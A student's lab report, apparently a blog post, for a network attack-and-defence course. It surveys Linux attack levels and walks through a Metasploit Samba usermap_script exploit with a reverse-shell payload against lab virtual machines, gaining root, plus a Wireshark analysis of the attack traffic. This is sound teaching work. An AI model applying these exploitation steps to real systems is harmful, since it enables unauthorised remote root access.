20212818 2021-2022-2 《网络攻防实践》实践七报告

一、实践内容

1、渗透攻击

  渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)"。
  无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容。也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。
  随着网络技术的发展,在政府、电力、金融、教育、能源、通信、制造等行业的企业网络应用日趋普遍规模也日渐扩大。在各个公司企业网络中,网络结构越来越复杂,各种网络维护工作也极为重要,一旦网络出现问题将会影响公司或企业的正常运作,并给公司或企业带来极大的损失。

2、Linux系统结构

  Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序、管理文件并使用系统。Linux系统结构之间的关系如下图所示:

 

 

(1)Linux内核 

  内核是操作系统的核心,具有很多最基本功能,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。

  Linux 内核由如下几部分组成:内存管理、进程管理、设备驱动程序、文件系统和网络管理等。如下图:

 

 

(2) Linux Shell

  shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行,是一个命令解释器。另外,shell编程语言具有普通编程语言的很多特点,用这种编程语言编写的shell程序与其他应用程序具有同样的效果。

目前主要有下列版本的shell。

  • Bourne Shell:是贝尔实验室开发的。
  • BASH:是GNU的Bourne Again Shell,是GNU操作系统上默认的shell,大部分linux的发行套件使用的都是这种shell。
  • Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。
  • C Shell:是SUN公司Shell的BSD版本。

(3)Linux 文件系统

   文件系统是文件存放在磁盘等存储设备上的组织方法。Linux系统能支持多种目前流行的文件系统,如EXT2、 EXT3、 FAT、 FAT32、 VFAT和ISO9660。

(4) Linux 应用

  标准的Linux系统一般都有一套都有称为应用程序的程序集,它包括文本编辑器、编程语言、X Window、办公套件、Internet工具和数据库等。

(5)Linux内核参数优化

  内核参数是用户和系统内核之间交互的一个接口,通过这个接口,用户可以在系统运行的同时动态更新内核配置,而这些内核参数是通过Linux Proc文件系统存在的。因此,可以通过调整Proc文件系统达到优化Linux性能的目的。

3、Linux服务器的攻防技术

  对Linux服务器攻击的定义是:攻击是一种旨在妨碍、损害、削弱、破坏Linux服务器安全的未授权行为。攻击的范围可以从服务拒绝直至完全危害和破坏Linux服务器。对Linux服务器攻击有许多种类,这里以攻击深度为依据分为

四类:

  • 攻击级别一:服务拒绝攻击(DoS)   

  由于DoS攻击工具的泛滥,及所针对的协议层的缺陷短时无法改变的事实,DoS也就成为了流传最广、最难防范的攻击方式。   

  服务拒绝攻击包括分布式拒绝服务攻击、反射式分布拒绝服务攻击、DNS分布拒绝服务攻击、FTP攻击等。大多数服务拒绝攻击导致相对低级的危险,即便是那些可能导致系统重启的攻击也仅仅是暂时性的问题。这类攻击在很大程度上不同于那些想获取网络控制的攻击,一般不会对数据安全有影响,但是服务拒绝攻击会持续很长一段时间,非常难缠。到目前为止,没有一个绝对的方法可以制止这类攻击。但这并不表明我们就应束手就擒,除了强调个人主机加强保护不被利用的重要性外,加强对服务器的管理是非常重要的一环。一定要安装验证软件和过滤功能,检验该报文的源地址的真实地址。

  另外对于几种服务拒绝可以采用以下措施:关闭不必要的服务、限制同时打开的Syn半连接数目、缩短Syn半连接的time out 时间、及时更新系统补丁。

  • 攻击级别二:本地用户获取了他们非授权的文件的读写权限

  本地用户是指在本地网络的任一台机器上有口令、因而在某一驱动器上有一个目录的用户。本地用户获取到了他们非授权的文件的读写权限的问题是否构成危险很大程度上要看被访问文件的关键性。任何本地用户随意访问临时文件目录(/tmp)都具有危险性,它能够潜在地铺设一条通向下一级别攻击的路径。

  级别二的主要攻击方法是:黑客诱骗合法用户告知其机密信息或执行任务,有时黑客会假装网络管理人员向用户发送邮件,要求用户给他系统升级的密码。由本地用户启动的攻击几乎都是从远程登录开始。对于Linux服务器,最好的办法是将所有shell账号放置于一个单独的机器上,也就是说,只在一台或多台分配有shell访问的服务器上接受注册。可以使日志管理、访问控制管理、释放协议和其他潜在的安全问题管理更容易些。还应该将存放用户CGI的系统区分出来。这些机器应该隔离在特定的网络区段,也就是说,根据网络的配置情况,它们应该被路由器或网络交换机包围。其拓扑结构应该确保硬件地址欺骗也不能超出这个区段。

 

  • 攻击级别三:远程用户获得特权文件的读写权限  

  第三级别的攻击能做到的不只是核实特定文件是否存在,而且还能读写这些文件。

  造成这种情况的原因是:Linux服务器配置中出现这样一些弱点:即远程用户无需有效账号就可以在服务器上执行有限数量的命令。   

  密码攻击法是第三级别中的主要攻击法,损坏密码是最常见的攻击方法。密码破解是用以描述在使用或不使用工具的情况下渗透网络、系统或资源以解锁用密码保护的资源的一个术语。用户常常忽略他们的密码,密码政策很难得到实施。黑客有多种工具可以击败技术和社会所保护的密码。

  主要包括:字典攻击(Dictionary attack)、混合攻击(Hybrid attack)、蛮力攻击(Brute force attack)。

  一旦黑客拥有了用户的密码,他就有很多用户的特权。密码猜想是指手工进入普通密码或通过编好程序的正本取得密码。一些用户选择简单的密码—如生日、纪念日和配偶名字,却并不遵循应使用字母、数字混合使用的规则。对黑客来说要猜出一串8个字生日数据不用花多长时间。  

  防范第三级别的攻击的最好的防卫方法便是严格控制进入特权,即使用有效的密码。

  • 攻击级别四:远程用户获得根权限     

  第四攻击级别是指那些决不应该发生的事发生了,这是致命的攻击。表示攻击者拥有Linux服务器的根、超级用户或管理员许可权,可以读、写并执行所有文件。换句话说,攻击者具有对Linux服务器的全部控制权,可以在任何时刻都能够完全关闭甚至毁灭此网络。     

  攻击级别四主要攻击形式是TCP/IP连续偷窃,被动通道听取和信息包拦截。

 

二、实践过程

任务一:使用Metasploit进行Linux远程渗透攻击

  使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

  ①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

  ②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

  ③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

  ④设置渗透攻击参数(RHOST,LHOST,TARGET等);

  ⑤执行渗透攻击;

  ⑥查看是否正确得到远程Shell,并查看获得的权限。

  在kali中输入msfconsole进入Metasploit

  输入指令search usermap来搜索渗透模块,结果如下图

 

  输入use exploit/multi/samba/usermap_script使用渗透模块,输入指令show payloads来获取攻击负载模块列表,并选择攻击负载模块,reverse tcp是指反向TCP连接,反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体,通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据

 

  输入指令set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷

 

  输入ifconfig查看kali的IP地址为192.168.1.115,选择Metasploitable-ubuntu为靶机,并输入ipconfig查看其IP地址为192.168.1.113。

 

 

 

 

 

 

   输入指令set lhost 192.168.1.115设置攻击机地址,set rhost 192.168.1.113设置靶机地址。

  输入指令show options看信息设置是否正确

   输入run进行攻击

 

 

   输入ifconfig查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。

 

 

   执行whoami查看获得权限为root。

 

 

 

任务二:实践作业:攻防对抗实践

  • 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

  • 防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

 

  实践二与实践一步骤相似,也是先进入Metasploit

 

 

 

 

 

   选择攻击负载模块、设置攻击机/靶机地址,并进行攻击。其中kali的IP地址是192.168.1.115,同学的靶机IP地址为192.168.1.102。

  在run之前启动wireshark抓包,然后启动攻击,可以看到首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报

 

 

  然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据。

 

 

   靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。

 

 

   查看攻击发起时间,时间是2020年4月2日晚上10点59分58秒。

 

 

 

由下图可知源端口41185、目的端口4444、源地址192.168.1.102、目的地址192.168.1.115,

  通过命令shell查看shell权限账户。

 

   通过id查看其所在的权限组,通过命令whomai查看当前权限账户,可以看到权限为root。

 

   回到wireshark,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令

  还可以看到shellcode,将里面的数据输入base64却依旧不可得明码。

三、学习中遇到的问题及解决

问题:在任务一中用kali攻击靶机时,提示靶机没有相应,因此无法攻击成功。

解决:将虚拟机kali和靶机模式都改为桥接模式之后,发现kali和靶机不在同一网段,因此攻击不成功。直接ping www.baidu.com发现也无法ping通,使用命令sudo dhclient eth0更新IP地址后,kali和靶机终于在同一网段,然后可以正常攻击。

四、实践总结

  本来同学都说这次的作业很简单所以自己也放松了警惕,以为会很快完成。但是没想到自己做的时候出现的问题很奇怪,同样的攻击(自己的kali攻击自己的靶机)在实践六都可以成功,但是在实践七时却攻击不了,这实在是让我太迷惑了,所幸后面改成桥接模式之后再进行各种操作kali攻击靶机成功。这让我意识到,做事情不能心浮气躁,啥事儿都可能发生,要沉住气,耐心地一步一步完成任务。

  这次实验使我对虚拟机的攻击操作更加熟练,更是提高了我解决问题的能力,对网络攻防的相关知识掌握得也更多,相信我在后续的实验中会越做越好。

posted @ 2022-05-01 22:25  蔡蔡文姬  阅读(192)  评论(0编辑  收藏  举报